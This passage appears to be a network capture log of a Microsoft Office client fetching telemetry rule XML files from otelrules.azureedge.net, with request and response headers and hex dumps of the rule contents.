Session ID	Source IP	Source Port	Destination IP	Destination Port
74	192.168.2.4	63792	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-02 06:16:08 UTC	192	OUT	GET /rules/rule120678v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-02 06:16:08 UTC	491	IN	HTTP/1.1 200 OK Date: Sat, 02 Nov 2024 06:16:08 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:41 GMT ETag: "0x8DC582BBA642BF4" x-ms-request-id: 5d06df95-b01e-0084-4008-2cd736000000 x-ms-version: 2018-03-28 x-azure-ref: 20241102T061608Z-16ccfc498978mvxwhC1DFWafzn00000001v0000000004rhn x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-02 06:16:08 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120678" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120677" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
75	192.168.2.4	63793	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-02 06:16:08 UTC	192	OUT	GET /rules/rule120679v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-02 06:16:09 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 02 Nov 2024 06:16:09 GMT Content-Type: text/xml Content-Length: 174 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:33 GMT ETag: "0x8DC582B91D80E15" x-ms-request-id: c3d6966f-401e-0016-3ad8-2b53e0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241102T061609Z-16dc884887btswlthC1DFWs7xw00000001qg0000000095rq x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-02 06:16:09 UTC	174	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 37 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 54 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 31 22 20 2f 3e 0d 0a 20 20 3c 2f 54 3e 0d 0a 3c 2f 52 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120679" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120677" /> </S> <T> <S T="1" /> </T></R>

Session ID	Source IP	Source Port	Destination IP	Destination Port
76	192.168.2.4	63795	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-02 06:16:09 UTC	192	OUT	GET /rules/rule120680v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-02 06:16:09 UTC	538	IN	HTTP/1.1 200 OK Date: Sat, 02 Nov 2024 06:16:09 GMT Content-Type: text/xml Content-Length: 1952 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:39 GMT ETag: "0x8DC582B956B0F3D" x-ms-request-id: b900ecb1-f01e-0099-29eb-2b9171000000 x-ms-version: 2018-03-28 x-azure-ref: 20241102T061609Z-16ccfc49897wlhjjhC1DFWsx6c00000001m000000000dyrg x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-02 06:16:09 UTC	1952	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 38 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 53 53 20 54 3d 22 31 22 20 47 3d 22 7b 62 31 36 37 36 61 63 33 2d 37 66 65 65 2d 34 34 61 39 2d 39 61 30 65 2d 64 62 62 30 62 34 39 36 65 66 61 35 7d 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 36 38 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 33 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 4c 54 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120680" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <SS T="1" G="{b1676ac3-7fee-44a9-9a0e-dbb0b496efa5}" /> <R T="2" R="120682" /> <F T="3"> <O T="LT"> <L>

Session ID	Source IP	Source Port	Destination IP	Destination Port
77	192.168.2.4	63796	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-02 06:16:09 UTC	192	OUT	GET /rules/rule120681v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-02 06:16:09 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 02 Nov 2024 06:16:09 GMT Content-Type: text/xml Content-Length: 958 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:58 GMT ETag: "0x8DC582BA0A31B3B" x-ms-request-id: 0f62b768-101e-008e-3108-2ccf88000000 x-ms-version: 2018-03-28 x-azure-ref: 20241102T061609Z-176bd8f9bc5nnctdhC1DFWuuh800000001sg00000000d7sz x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-02 06:16:09 UTC	958	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 38 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 38 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 36 38 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 33 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120681" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <R T="1" R="120608" /> <R T="2" R="120680" /> <TH T="3"> <O T="AND"> <L> <O T="EQ"> <L>

Session ID	Source IP	Source Port	Destination IP	Destination Port
78	192.168.2.4	63797	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-02 06:16:09 UTC	192	OUT	GET /rules/rule120682v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-02 06:16:09 UTC	491	IN	HTTP/1.1 200 OK Date: Sat, 02 Nov 2024 06:16:09 GMT Content-Type: text/xml Content-Length: 501 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:18 GMT ETag: "0x8DC582BACFDAACD" x-ms-request-id: 6028abc9-b01e-0002-6508-2c1b8f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241102T061609Z-16ccfc49897wvnbhhC1DFWtfnn00000001kg00000000b17p x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-02 06:16:09 UTC	501	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 38 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 41 20 54 3d 22 31 22 20 45 3d 22 54 65 6c 65 6d 65 74 72 79 53 74 61 72 74 75 70 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 31 30 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 53 20 54 3d 22 33 22 20 47 3d 22 7b 62 31 36 37 36 61 63 33 2d 37 66 65 65 2d 34 34 61 39 2d 39 61 30 65 2d 64 62 62 30 62 34 39 36 65 66 61 35 7d 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120682" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <A T="1" E="TelemetryStartup" /> <R T="2" R="120100" /> <SS T="3" G="{b1676ac3-7fee-44a9-9a0e-dbb0b496efa5}" /> </S> <C T="

Session ID	Source IP	Source Port	Destination IP	Destination Port
79	192.168.2.4	63798	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-02 06:16:09 UTC	193	OUT	GET /rules/rule120602v10s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-02 06:16:09 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 02 Nov 2024 06:16:09 GMT Content-Type: text/xml Content-Length: 2592 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB5B890DB" x-ms-request-id: bab6baff-801e-002a-7024-2c31dc000000 x-ms-version: 2018-03-28 x-azure-ref: 20241102T061609Z-176bd8f9bc5wl4brhC1DFWmstw00000001kg0000000096k1 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-02 06:16:09 UTC	2592	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 32 22 20 56 3d 22 31 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 41 70 70 6c 69 63 61 74 69 6f 6e 41 6e 64 4c 61 6e 67 75 61 67 65 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 44 43 61 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120602" V="10" DC="SM" EN="Office.System.SystemHealthMetadataApplicationAndLanguage" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalBusinessImpact" DL="A" DCa=

Session ID	Source IP	Source Port	Destination IP	Destination Port
80	192.168.2.4	63799	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-02 06:16:09 UTC	192	OUT	GET /rules/rule120601v3s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-02 06:16:10 UTC	538	IN	HTTP/1.1 200 OK Date: Sat, 02 Nov 2024 06:16:10 GMT Content-Type: text/xml Content-Length: 3342 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:34 GMT ETag: "0x8DC582B927E47E9" x-ms-request-id: b9b09701-201e-0096-2908-2cace6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241102T061610Z-16ccfc498976vdjnhC1DFW5ann00000001n000000000hrz6 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-02 06:16:10 UTC	3342	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 31 22 20 56 3d 22 33 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 4f 53 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 44 43 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120601" V="3" DC="SM" EN="Office.System.SystemHealthMetadataOS" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalBusinessImpact" DL="A" DCa="DC" xmlns=""> <RI

Session ID	Source IP	Source Port	Destination IP	Destination Port
81	192.168.2.4	63800	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-02 06:16:10 UTC	193	OUT	GET /rules/rule224901v11s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-02 06:16:10 UTC	538	IN	HTTP/1.1 200 OK Date: Sat, 02 Nov 2024 06:16:10 GMT Content-Type: text/xml Content-Length: 2284 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:13 GMT ETag: "0x8DC582BCD58BEEE" x-ms-request-id: 87c6e767-f01e-003c-4308-2c8cf0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241102T061610Z-16ccfc49897d4xzbhC1DFWg2yn00000001k0000000005e1m x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-02 06:16:10 UTC	2284	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 32 32 34 39 30 31 22 20 56 3d 22 31 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 4c 69 63 65 6e 73 69 6e 67 2e 4f 66 66 69 63 65 43 6c 69 65 6e 74 4c 69 63 65 6e 73 69 6e 67 2e 44 6f 4c 69 63 65 6e 73 65 56 61 6c 69 64 61 74 69 6f 6e 22 20 41 54 54 3d 22 63 31 61 30 64 62 30 31 32 37 39 36 34 36 37 34 61 30 64 36 32 66 64 65 35 61 62 30 66 65 36 32 2d 36 65 63 34 61 63 34 35 2d 63 65 62 63 2d 34 66 38 30 2d 61 61 38 33 2d 62 36 62 39 64 33 61 38 36 65 64 37 2d 37 37 31 39 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 43 65 6e 73 75 73 22 20 54 3d 22 55 70 6c 6f 61 64 2d 4d 65 64 69 75 6d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="224901" V="11" DC="SM" EN="Office.Licensing.OfficeClientLicensing.DoLicenseValidation" ATT="c1a0db0127964674a0d62fde5ab0fe62-6ec4ac45-cebc-4f80-aa83-b6b9d3a86ed7-7719" SP="CriticalCensus" T="Upload-Medium"

Session ID	Source IP	Source Port	Destination IP	Destination Port
82	192.168.2.4	63801	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-02 06:16:10 UTC	192	OUT	GET /rules/rule701201v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-02 06:16:10 UTC	517	IN	HTTP/1.1 200 OK Date: Sat, 02 Nov 2024 06:16:10 GMT Content-Type: text/xml Content-Length: 1393 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:51 GMT ETag: "0x8DC582BE3E55B6E" x-ms-request-id: 6c1a7137-101e-00a2-6008-2c9f2e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241102T061610Z-16ccfc49897vgjnwhC1DFWbx9800000001m0000000007qrk x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-02 06:16:10 UTC	1393	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 58 61 6d 6c 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 58 61 6d 6c 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701201" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Xaml.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenXaml"

Session ID	Source IP	Source Port	Destination IP	Destination Port
83	192.168.2.4	63803	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-02 06:16:10 UTC	192	OUT	GET /rules/rule700201v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-02 06:16:11 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 02 Nov 2024 06:16:10 GMT Content-Type: text/xml Content-Length: 1393 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:50 GMT ETag: "0x8DC582BE39DFC9B" x-ms-request-id: 1afb2a81-701e-0032-032f-2ca540000000 x-ms-version: 2018-03-28 x-azure-ref: 20241102T061610Z-176bd8f9bc5bc7vmhC1DFWbxbs000000021000000000avht x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-02 06:16:11 UTC	1393	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 32 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 57 6f 72 64 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 57 6f 72 64 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700201" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Word.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenWord"

Session ID	Source IP	Source Port	Destination IP	Destination Port
84	192.168.2.4	63804	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-02 06:16:10 UTC	192	OUT	GET /rules/rule700200v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-02 06:16:11 UTC	538	IN	HTTP/1.1 200 OK Date: Sat, 02 Nov 2024 06:16:10 GMT Content-Type: text/xml Content-Length: 1356 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:43 GMT ETag: "0x8DC582BDF66E42D" x-ms-request-id: 87c6e830-f01e-003c-7a08-2c8cf0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241102T061610Z-16ccfc49897ht4f6hC1DFWwe7g00000001d000000000n3p1 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-02 06:16:11 UTC	1356	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 32 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 57 6f 72 64 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 57 6f 72 64 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700200" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Word" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenWord" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
85	192.168.2.4	63802	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-02 06:16:10 UTC	192	OUT	GET /rules/rule701200v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-02 06:16:11 UTC	538	IN	HTTP/1.1 200 OK Date: Sat, 02 Nov 2024 06:16:10 GMT Content-Type: text/xml Content-Length: 1356 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:38 GMT ETag: "0x8DC582BDC681E17" x-ms-request-id: 464d7020-e01e-0020-3508-2cde90000000 x-ms-version: 2018-03-28 x-azure-ref: 20241102T061610Z-16ccfc49897w6rdhhC1DFWb10w00000001hg00000000kt0w x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-02 06:16:11 UTC	1356	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 58 61 6d 6c 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 58 61 6d 6c 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" 